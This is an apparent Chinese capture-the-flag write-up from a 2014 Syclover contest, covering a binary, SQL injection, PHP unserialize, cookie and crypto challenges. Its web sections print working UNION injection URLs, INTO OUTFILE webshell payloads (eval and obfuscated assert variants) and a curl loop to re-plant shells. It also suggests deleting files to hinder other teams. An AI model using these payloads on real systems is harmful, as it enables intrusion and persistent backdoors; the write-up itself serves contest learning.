编程
Code100
分数:100
描述:见连接
Link:题目链接
攻略
首先,对程序使用IDA进行静态分析,粗略分析可以看到有以下几个重要函数:main、frame_dummy、getkey、welcome,注意这里有个getkey函数。
下面对main函数运用F5大法看一看,具体如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
int __cdecl main()
{
size_t v0; // eax@8
signed int v2; // [sp+10h] [bp-38h]@1
int v3; // [sp+14h] [bp-34h]@7
signed __int16 v4; // [sp+24h] [bp-24h]@1
uint16_t v5; // [sp+26h] [bp-22h]@1
uint32_t v6; // [sp+28h] [bp-20h]@1
int v7; // [sp+34h] [bp-14h]@7
int v8; // [sp+38h] [bp-10h]@1
signed int v9; // [sp+3Ch] [bp-Ch]@1
v9 = 0;
welcome();
v2 = 16;
v4 = 2;
v5 = htons(0x2695u);
v6 = htonl(0);
v8 = socket(2, 1, 0);
if ( bind(v8, (const struct sockaddr *)&v4, 0x10u) < 0 )
{
perror(“bind error!”);
exit(0);
}
if ( listen(v8, 5) < 0 )
{
perror(“listen”);
exit(0);
}
v7 = accept(v8, (struct sockaddr *)&v3, (socklen_t *)&v2);
do
{
randomWork();
v0 = strlen(buf);
send(v7, buf, v0 + 1, 0);
__isoc99_scanf(“%lld”, &tt);
if ( tt != ans )
break;
++v9;
}
while ( v9 <= 59 );
if ( v9 == 60 )
{
printf(“KEY:”);
getkey();
}
close(v7);
close(v8);
return 0;
}
|
前面调用welcome打印欢迎信息,然后是socket通信,再然后有一个循环,循环结束后调用getkey函数输出。
看到这,是不是有想法?运行程序后直接调用getkey不就行了?还是先在Linx下运行看看。在Linux下运行之后,显示如下欢迎信息:
1
2
3
4
|
这是编程第一水题,欢迎品尝
题目描述:
6L+Q6KGM56iL5bqP5LmL5ZCO77yM56iL5bqP5Lya5bel5L2c5Zyo5ZyoOTg3N+err+WPo+S4iu+8jOWQkeiuv+mXruS7lueahOWuouS6uuWPkemAgeS4gOS6m+ihqOi+vuW
简单的base64解密
|
1
2
3
4
5
6
7
8
|
运行程序之后,程序会工作在在9877端口上,向访问他的客人发送一些表达式
请你计算这些表达式的值。并从标准输入将这些值输入到程序中,如果你能保
持60轮的正确结果。那么恭喜你。
注意:
1. 每个表达式有2000个左右的操作数
2. 每个数的大小范围在2040403040~3040403040之间
计算愉快。
by SYC.fluyy tulneer@gamil.com
|
如果按照一步一步正常运行,需要运行nc监听9877端口,大概是下面这样子:
1
2
3
|
nc 127.0.0.1 9877
然后一步一步的follow,这个实在是太麻烦了。
前面已经分析过,这个直接调用getkey函数也可以,那就执行下面的命令:
|
1
2
3
4
|
gdb ./linux_calc_32bit
b main
r
call getkey
|
输出如下信息:
1
|
62b5C/6Aj7F 7Az6Aj
|
不要怀疑,输入试试,这个就是key,顺利拿到全场第一血。
渗透测试
XXOO李小胖
这几道题目的入口都是http://web1.myclover.org/
攻略
简单测试之后可以发现,下面的地址存在 SQL Injection。
1
|
http://web1.myclover.org/index.php?id=1
|
初步用Sqlmap跑一下,没跑出结果,那就手工注入一下试试。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
http://web1.myclover.org/index.php?id=1 order by 3
出错,具体为2
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,2
查看数据库名称
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,database()
cuitjwc
对应十六进制 0x637569746A7763
查看数据库版本
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,version()
5.5.8-log
查看用户
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,user()
syclover@localhost
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,system_user()
syclover@localhost
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,session_user()
syclover@localhost
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,current_user()
syclover@localhost
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata
information_schema
查看数据库表名
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+table_cuit_classes
cuit_classes 对应十六进制 0x637569745F636C6173736573
上面的 0x637569746A7763 对应 cuitjwc
查看列名
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,GROUP_CONCAT(DISTINCT+column_name)+from+information_schema.columns+where+table_classid,name
查看字段
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,GROUP_CONCAT(DISTINCT+classid,0x5f,name)+from+cuit_classes
0000000001_welcome to syclover!
|
手工注入到此结束,没什么有用信息。
可以尝试读取文件
1
|
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,load_file(‘c:/boot.ini’)
|
如果直接访问下面的url,可以爆出物理路径
1
2
|
http://web1.myclover.org/Ettercap%20Home%20Page_files/
E:/wamp/cclover/Ettercap Home Page_files/index.php
|
下面就尝试下写入shell
先写一个phpinfo看看
1
|
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,’<?php phpinfo(); ?>’ INTO outfile ‘E:/wamp/cclover/Ettercap Home Page
|
可以顺利执行,那就再写个一句话看看
1
|
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,’<?php eval($_POST[cmd])?>’ into outfile ‘E:/wamp/cclover/Ettercap Home
|
菜刀连接一下,嗯,可以连接。
这里再给出一个高端大气上档次的shell写入
1
2
|
http://web1.myclover.org/index.php?id=1 and 1=2 UNION SELECT 1,’<?php ($_=@$_GET[2]).@$_($_POST[1])?>’ into outfile ‘E:/wamp/cclover/Ettercap
在菜刀里写http://web1.myclover.org//Ettercap Home Page_files/xxoo.php?2=assert密码是1
|
为了应对各种删除shell,可以搞一个死循环写入shell,下面的脚本我没测试过,应该可行。
1
2
3
4
|
#!/bin/sh
while true
do
curl ‘http://web1.myclover.org/index.php?id=1%20%61%6E%64%20%31%3D%32%20%55%4E%49%4F%4E%20%53%45%4C%45%43%54%20%31%2C%27%3C%3F%70%68%70%20%28%done
|
搞定shell,可以查看一下index.php里面的数据库连接信息,内容如下
1
2
|
$conn = mysql_connect(‘localhost’,‘syclover’,‘myclover’);
mysql_select_db(‘cuitjwc’);
|
用菜刀连接一下数据库,把数据库翻一遍,可以找到see_here这张表,内容如下
1
2
|
key path
Hi_1m_sLxIaoPang e:/wamp/cclover
|
顺利拿到一个key
此外,在E:/wamp/cclover/目录下有一个haha_key.txt文件,web下读取到的信息为
1
2
3
4
5
|
http://web1.myclover.org/haha_key.txt
key:Th32k3y_1
Mysql root‘s password:mySYCloveR
后面,官方修改为如下路径,key稍作改动
|
1
2
3
|
http://web1.myclover.org/haha_key_pang.txt
key:Th32k3y_pangxiaoli
Mysql root‘s password:mySYCloveR
|
这里稍作说明:在拿到shell使用菜刀连接后,就可以看到haha_key.txt文件,当时无法读取或写入,但是可以删除。猜想如下:
1
2
|
1. 官方默认设置haha_key.txt文件权限为不可读(针对当前用户),需要提权后才能读取,但文件本身可删除这一条又无法解释,这么奇葩的权限设置实在难以理解。
2. 官方默认设置haha_key.txt文件权限为可读不可写不可删除,服务器上奇葩的权限设置初步推测可能为某选手提权后修改了文件读取权限,阻止其他队伍读取此文件以限制下
|
上面两种猜想都指明一个方向:对服务器提权,但是对服务器提取可能涉及攻击比赛平台,为规避风险,在群里提问是否需要提权后无人回答,只能
先按照不提权进行处理。但是不提权确实无法读取haha_key.txt,只能等待服务器回滚。为了加速回滚,并测试服务器文件权限,可以直接删
除index.php文件,删除所有webshell,等待回滚。
这里多提几句,对于删除他人webshell的行为,我个人观点是实在没必要删除另外的shell,能把shell写入的多加思考都可以把shell稳定(参加过ACTF
的应该深有体会),删除shell不如删除index.php这个shell写入入口干脆利落。删除index.php后发现web目前可以遍历,私藏webshell暴露无疑(就是
没有密码,可以试试webshell爆破)。当然,为了阻止其他选手,直接删除haha_key.txt也是一种办法,至少比设置一个奇葩的权限有意思。
提取部分可能涉及对比赛平台的破坏,未深入测试,还有一个key未拿到,web1的测试到此结束。
不要在意细节
分数:300
描述:秒速5厘米? 不要在意细节,重点不在那里
Link:题目链接
http://web2.myclover.org/audit/
攻略
访问index.php查看源码,可以看到如下信息
1
|
<img src=“readimg.php?img=bXM1bG0uanBn” width=“100%”/>
|
尝试访问如下地址,可以发现jpg文件被读取(这个叫啥执行还是读取漏洞?忘了)
1
|
http://web2.myclover.org/audit/readimg.php?img=bXM1bG0uanBn
|
对bXM1bG0uanBn经base64解码可知为ms5lm.jpg,那我们试一下index.php的base64编码后读取
1
2
3
4
5
6
7
8
9
10
11
12
|
http://web2.myclover.org/audit/readimg.php?img=aW5kZXgucGhw
// index.php
<?php
require_once(‘myclass.php’);
$x = new syclover();
isset($_GET[‘syc’]) && $g = $_GET[‘syc’];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src=“readimg.php?img=bXM1bG0uanBn” width=“100%”/>
|
再访问一下myclass.php的base64编码后读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
http://web2.myclover.org/audit/readimg.php?img=bXljbGFzcy5waHA=
// myclass.php
<?php
//KEY in key.php
class syclover {
public $file;
function __construct($fname = ”) {
$this -> file = $fname;
}
function readfile() {
if (!empty($this->file) && stripos($this->file, ‘..’)===FALSE && stripos($this->file, ‘/’)===FALSE && stripos($this->file, ‘//’)===return @file_get_contents($this->file);
}
}
}
?>
|
顺便测试一下readimg.php的base64编码后读取
1
2
3
4
5
6
7
8
9
10
11
12
13
|
http://web2.myclover.org/audit/readimg.php?img=cmVhZGltZy5waHA=
//readimg.php
<?php
$f = $_GET[‘img’];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f, ‘..’)===FALSE && stripos($f, ‘/’)===FALSE && stripos($f, ‘//’)===FALSE && stripos($f, ‘key’)===FALSE) {
readfile($f);
} else {
echo “File not found!”;
}
}
?>
|
提示key在key.php文件,那么访问一下试试 http://web2.myclover.org/audit/key.php
1
|
直接查看显示 KEY: 1ts_imp0ssibl3
|
这个是key吗?当然不是啦,给了这么多源代码,再直接给key怎么可能呢?
研究下代码发现,unserialize函数比较可疑,祭出Google神器,查一查有没有什么漏洞,后面找到一篇文章(两个地址得一起看,截图不太相同)
PHP源码中unserialize函数引发的漏洞分析
PHP源码中unserialize函数引发的漏洞分析
本地搭建php环境,来个辅助test.php看看结果
1
2
3
4
5
6
7
8
|
<?php
class syclover {
var $file = ‘key.php’;
}
$class = new syclover();
$class_ser = serialize($class);
print_r($class_ser);
?>
|
本地输出结果
1
|
O:8:“syclover”:1:{s:4:“file”;s:7:“key.php”;}
|
然后提交一下看看结果
1
|
http://web2.myclover.org/audit/index.php?syc=O:8:”syclover”:1:{s:4:”file”;s:7:”key.php”;}
|
提交后结果,顺利拿到key
1
2
3
4
5
|
<?php
//True KEY: D4nger0us_uns3rialize
//Fake KEY
echo “KEY: 1ts_imp0ssibl3″;
?>
|
逆向工程
最简单的题目
分数:100
描述:key是syclover的注册码
Link:题目链接
http://pan.baidu.com/s/1o6JPqoa
攻略
不多说,直接看代码
一些没完成但是有思路的题目
最简单的加解密
分数:300
描述:常用的加解密。
描述:
提示1:DES 提示2:旋转
提示1:DES 提示2:凯撒
Link:题目链接
http://pan.baidu.com/s/1o6qJcue
攻略
附件为二维码图片,使用在线的二维码解密后结果为
1
|
http://cli.im/9s7Nh
|
下载图片后可以看到两段附加数据,分别对待
图片附加数据一
1
|
100110100110010010110010111100001001110011110100100100100110000010011110100010001001010011011110100111001010111011101000110111101001
|
转换为十六进制
1
|
0x4d3259784e7a49304f444a6f4e57746f4e44597a61575a6d4d3267785a6a5a6e5a6d59344d4763344f544d354f4441784f5774724e4449796144566d4f446730L
|
Hex解密
1
|
M2YxNzI0ODJoNWtoNDYzaWZmM2gxZjZnZmY4MGc4OTM5ODAxOWtrNDIyaDVmODg0
|
Base64解密
1
|
3f172482h5kh463iff3h1f6gff80g89398019kk422h5f884
|
图片附加数据二
1
|
101001101111001011000110110110000110000011101100011001101110010
|
转换为十六进制
1
|
0x5379636c30763372
|
Hex解密
1
|
Sycl0v3r
|
比较明显像是DES加密,为啥呢(Sycl0v3r是8位啊),对于凯撒的tip没找到利用方法。
思路有两种:
1. key为凯撒加密,对key凯撒解密后使用
2. 密文为凯撒加密,对密文凯撒解密后使用Sycl0v3r作为key解密
当然,也可能为key和密文都是凯撒的,这tm也太变态了,战略性忽略。
EditCookie
分数:200
描述:恩,你们想吃饼干码? T_T 真不是注入
Link:题目链接
http://web2.myclover.org/coo/guestbook.php
攻略
web查看,初步判定是XSS问题或SQL注入,官方提示中饼干指向XSS
查看服务器返回的数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
HTTP/1.0 200 OK
Date: Sat, 10 May 2014 01:34:18 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Syclover-S: b207e4be0d696fda9cc36233f2a74c3b.xxx.bak
Vary: Accept-Encoding
Content-Length: 992
Content-Type: text/html
X-Cache: MISS from metms
X-Cache-Lookup: MISS from metms:80
Via: 1.0 metms (squid/3.1.10)
Connection: keep-alive
|
尝试访问下面的地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
http://web2.myclover.org/coo/b207e4be0d696fda9cc36233f2a74c3b.xxx.bak
据说是备份的代码片段????
//guanliyuan.php
function xss_filter($str){
$match = array(‘/&#([a-z0-9]+)([;]*)/i’, ‘//</!/-/-([/s/S]*?)/-/->/’,‘////*([/s/S*?])/*///’,
‘/on(mouse|exit|error|click|dblclick|key|load|unload|change|move|submit|reset|cut|copy|select|start
|stop|touch)/i’, ‘/s[[:space:]]*c[[:space:]]*r[[:space:]]*i[[:space:]]*p[[:space:]]*t/i’,
‘/about/i’, ‘/frame/i’, ‘/link/i’, ‘/import/i’, ‘/expression/i’, ‘/meta/i’, ‘/textarea/i’,‘/eval/i’,
‘/alert/i’
);
$replace=array(”, ”, ”, ‘on//1′, ‘scr_pt’, ‘fra_me’, ‘l_ink’, ‘im_port’, ‘ex_pression’,
‘me_ta’, ‘text_area’, ‘eva_l’, ‘a1ert’
);
$after_str = preg_replace($match, $replace, $str);
return $after_str;
}
function show_guestbook(){
$result = $this->db->getbook(0, 15)->result_array();
echo<<<TABLE
<table width=“678″ align=“center”>
<tr>
<td colspan=“2″><h1>GUESTBOOK</h1></td>
</tr>
<tr>
<td width=“586″><a href=“#”>INDEX</a> | <a href=“#”>GUESTBOOK</a></td>
</tr>
</table>
<hr /><table width=“678″ border=“1″ align=“center” cellpadding=“1″ cellspacing=“1″>
TABLE;
foreach($result as $row)){
echo ‘<tr>’;
echo ‘<td width=”178″> Address : ‘.htmlspecialchars($row[‘ip’]).‘</td>’;
echo ‘<td width=”178″> Content : ‘.$this->xss_filter($row[‘guest’]).‘</td>’;
echo ‘</tr>’;
}
echo ‘</table>’;
}
–>
你离目标进了一步~。
加油少年
|
鉴于对XSS及正则过滤绕过不熟悉,放弃。
我要当管理员!
分数:200
描述:先做做看,再给提示!
Link:题目链接
http://web2.myclover.org/wts/
攻略
查看发送的数据包
1
2
3
4
5
6
7
8
|
GET /wts/index.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: web2.myclover.org
Cookie: level=Mg%3D%3D
|
查看服务器响应数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
HTTP/1.0 200 OK
Date: Tue, 13 May 2014 04:02:46 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Set-Cookie: level=Mg%3D%3D
Vary: Accept-Encoding
Content-Length: 139
Content-Type: text/html
X-Cache: MISS from metms
X-Cache-Lookup: MISS from metms:80
Via: 1.0 metms (squid/3.1.10)
Connection: keep-alive
<html>
<head>
<title>SYC Web Test Syst3m</title>
</head>
<body>
<p>Hi! Guest,Welcome to SYC Web Test Syst3m</p>
</body>
</html>
|
注意到Cookie值为Mg==,经Base64解码为2,试一试level=1的情况
修改后的发送数据包
1
2
3
4
5
6
7
8
9
|
GET /wts/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: web2.myclover.org
Pragma: no-cache
Cookie: level=MQ%3D%3D
|
接收到的数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
HTTP/1.0 200 OK
Date: Tue, 13 May 2014 04:04:54 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Set-Cookie: level=Mg%3D%3D
Vary: Accept-Encoding
Content-Length: 208
Content-Type: text/html
X-Cache: MISS from metms
X-Cache-Lookup: MISS from metms:80
Via: 1.0 metms (squid/3.1.10)
Connection: keep-alive
<html>
<head>
<title>SYC Web Test Syst3m</title>
</head>
<body>
<p>Hi! Admin,Welcome to SYC Web Test Syst3m</p>
<p><a href=“syc_adm1n_ok.php”>Click Me To The Admin Panel</a> </p>
</body>
</html>
|
尝试访问如下地址
1
|
http://web2.myclover.org/wts/syc_adm1n_ok.php
|
可以看到页面中含有如下地址
1
|
http://web2.myclover.org/wts/syc_getk3y.php
|
同时还有输入框,推测为弱口令万能密码之类的,爆破未成功。
尝试访问
1
|
http://web2.myclover.org/wts/syc_getk3y.php
|
服务器响应报文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
HTTP/1.0 302 Moved Temporarily
Date: Tue, 13 May 2014 04:09:09 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u9
Location: syc_adm1n_ok.php
Vary: Accept-Encoding
Content-Length: 275
Content-Type: text/html
X-Cache: MISS from metms
X-Cache-Lookup: MISS from metms:80
Via: 1.0 metms (squid/3.1.10)
Connection: keep-alive
<html>
<head>
<title>GetKey - SYC Web Test Syst3m</title>
<meta http-equiv=“Content-Type” content=“text/html; charset=UTF-8″ />
</head>
<body>
<form action=“” method=“post”>
md5(our_team_name)=<input type=“text” name=“key” value=“” />
</form>
</body>
</html>
|
our_team_name取md5结果如下
1
2
|
md5(our_team_name,32) = be0f5855466f2d707fb6af6d6a93b48e
md5(our_team_name,16) = 466f2d707fb6af6d
|
syclover取md5结果如下
1
2
|
md5(syclover,32) = 8bfc8af07bca146c937f283b8ec768d4
md5(syclover,16) = 7bca146c937f283b
|
对服务器POST多次数据未成功,暂时放弃。
本文作者:n01d34
征稿启事:91RI 一直相信“你不与人分享,谁与你分享”, 分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号